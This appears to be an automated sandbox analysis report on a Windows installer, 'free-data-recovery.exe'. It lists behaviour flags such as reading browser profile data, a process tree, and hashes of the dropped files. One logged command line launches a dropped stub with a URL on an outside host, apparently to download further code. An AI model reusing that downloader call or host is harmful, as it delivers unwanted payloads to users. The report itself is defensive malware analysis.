Analysis

  • max time kernel
    148s
  • max time network
    141s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/07/2026, 12:19

General

  • Target
    free-data-recovery.exe
  • Size 1.1MB
  • Sample260728-phjw1sha82
  • SHA256 fda3231049a7f826e84e7c8f0eed40b1db079d658224a2b0b4b1d8af692372a4
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 6 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Program Files directory 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Inno Setup is an open-source installation builder for Windows applications. 3 IoCs

    Inno Setup installer

  • NSIS installer 1 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\free-data-recovery.exe
    "C:\Users\Admin\AppData\Local\Temp\free-data-recovery.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:5404
    • C:\Users\Admin\AppData\Local\Temp\is-2L2E4.tmp\free-data-recovery.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-2L2E4.tmp\free-data-recovery.tmp" /SL5="$400B0,771909,140800,C:\Users\Admin\AppData\Local\Temp\free-data-recovery.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:4808
      • C:\Users\Admin\AppData\Local\Temp\is-F3P53.tmp\CBStub.exe
        "C:\Users\Admin\AppData\Local\Temp\is-F3P53.tmp\CBStub.exe" /CBURL=http://www.cojuly13fish.com/download.php?l3mFdQ==
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5436
      • C:\Program Files (x86)\GiliSoft\Free Disk Cleaner\DiskCleaner.exe
        "C:\Program Files (x86)\GiliSoft\Free Disk Cleaner\DiskCleaner.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2252

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        DiskCleaner.exe

        • Path C:\Program Files (x86)\GiliSoft\Free Disk Cleaner\DiskCleaner.exe
        • Size 1.5MB
        • SHA256 de0a720ba5b930b4e1b7f72c5f4a4977487f877aa9c765be048c0c55ad5fa2c2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        DiskClear.dll

        • Path C:\Program Files (x86)\GiliSoft\Free Disk Cleaner\DiskClear.dll
        • Size 243KB
        • SHA256 e5c130cbd70546da05c7dffdab95f162666c118333d2e4c2849205ffa294ac56
        • MD5 SHA1 SHA512 SSDEEP TLSH

        DiskCleaner.ini

        • Path C:\Program Files (x86)\GiliSoft\Free Disk Cleaner\Lang\DiskCleaner.ini
        • Size 10KB
        • SHA256 e9f3c433c862128f7f1f08a0a41a0a0974556e4ba61381dd61e5dfb39751da77
        • MD5 SHA1 SHA512 SSDEEP TLSH

        RubbishSet.ini

        • Path C:\Program Files (x86)\GiliSoft\Free Disk Cleaner\RubbishSet.ini
        • Size 1KB
        • SHA256 a650e80499c91082832e35b67dd43bb84e835b91411a5b1515982f828c3df992
        • MD5 SHA1 SHA512 TLSH

        free-data-recovery.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\is-2L2E4.tmp\free-data-recovery.tmp
        • Size 1.1MB
        • SHA256 89c8d27247ff86f189ebba01e27c47daa184a04c5f002130f9d336ca80d71202
        • MD5 SHA1 SHA512 SSDEEP TLSH

        CBStub.exe

        • Path C:\Users\Admin\AppData\Local\Temp\is-F3P53.tmp\CBStub.exe
        • Size 44KB
        • SHA256 8a397cdbc6b6ae9dd9680c26d1bf257caf65bdcadcabb02bd101fa26e4aaae8b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        innocallback.dll

        • Path C:\Users\Admin\AppData\Local\Temp\is-F3P53.tmp\innocallback.dll
        • Size 63KB
        • SHA256 6afa2d104be6efe3d9a2ab96dbb75db31565dad64dd0b791e402ecc25529809f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        itdownload.dll

        • Path C:\Users\Admin\AppData\Local\Temp\is-F3P53.tmp\itdownload.dll
        • Size 200KB
        • SHA256 b258c4d7d2113dee2168ed7e35568c8e03341e24e3eafc7a22a0d62e32122ef3
        • MD5 SHA1 SHA512 SSDEEP TLSH

        inetc.dll

        • Path C:\Users\Admin\AppData\Local\Temp\nsu818B.tmp\inetc.dll
        • Size 24KB
        • SHA256 983859570099b941c19d5eb9755eda19dd21f63e8ccad70f6e93f055c329d341
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/2252-80-0x0000000000400000-0x000000000057B000-memory.dmp

        memory/4808-67-0x0000000000400000-0x0000000000526000-memory.dmp

        memory/4808-65-0x0000000000400000-0x0000000000526000-memory.dmp

        memory/4808-69-0x0000000003DC0000-0x0000000003DD5000-memory.dmp

        memory/4808-24-0x0000000003DC0000-0x0000000003DD5000-memory.dmp

        memory/4808-68-0x0000000003C40000-0x0000000003C7C000-memory.dmp

        memory/4808-17-0x0000000003C40000-0x0000000003C7C000-memory.dmp

        memory/4808-8-0x0000000000400000-0x0000000000526000-memory.dmp

        memory/4808-78-0x0000000000400000-0x0000000000526000-memory.dmp

        memory/5404-66-0x0000000000400000-0x000000000042D000-memory.dmp

        memory/5404-0-0x0000000000400000-0x000000000042D000-memory.dmp

        memory/5404-79-0x0000000000400000-0x000000000042D000-memory.dmp

        memory/5404-2-0x000000000041E000-0x000000000041F000-memory.dmp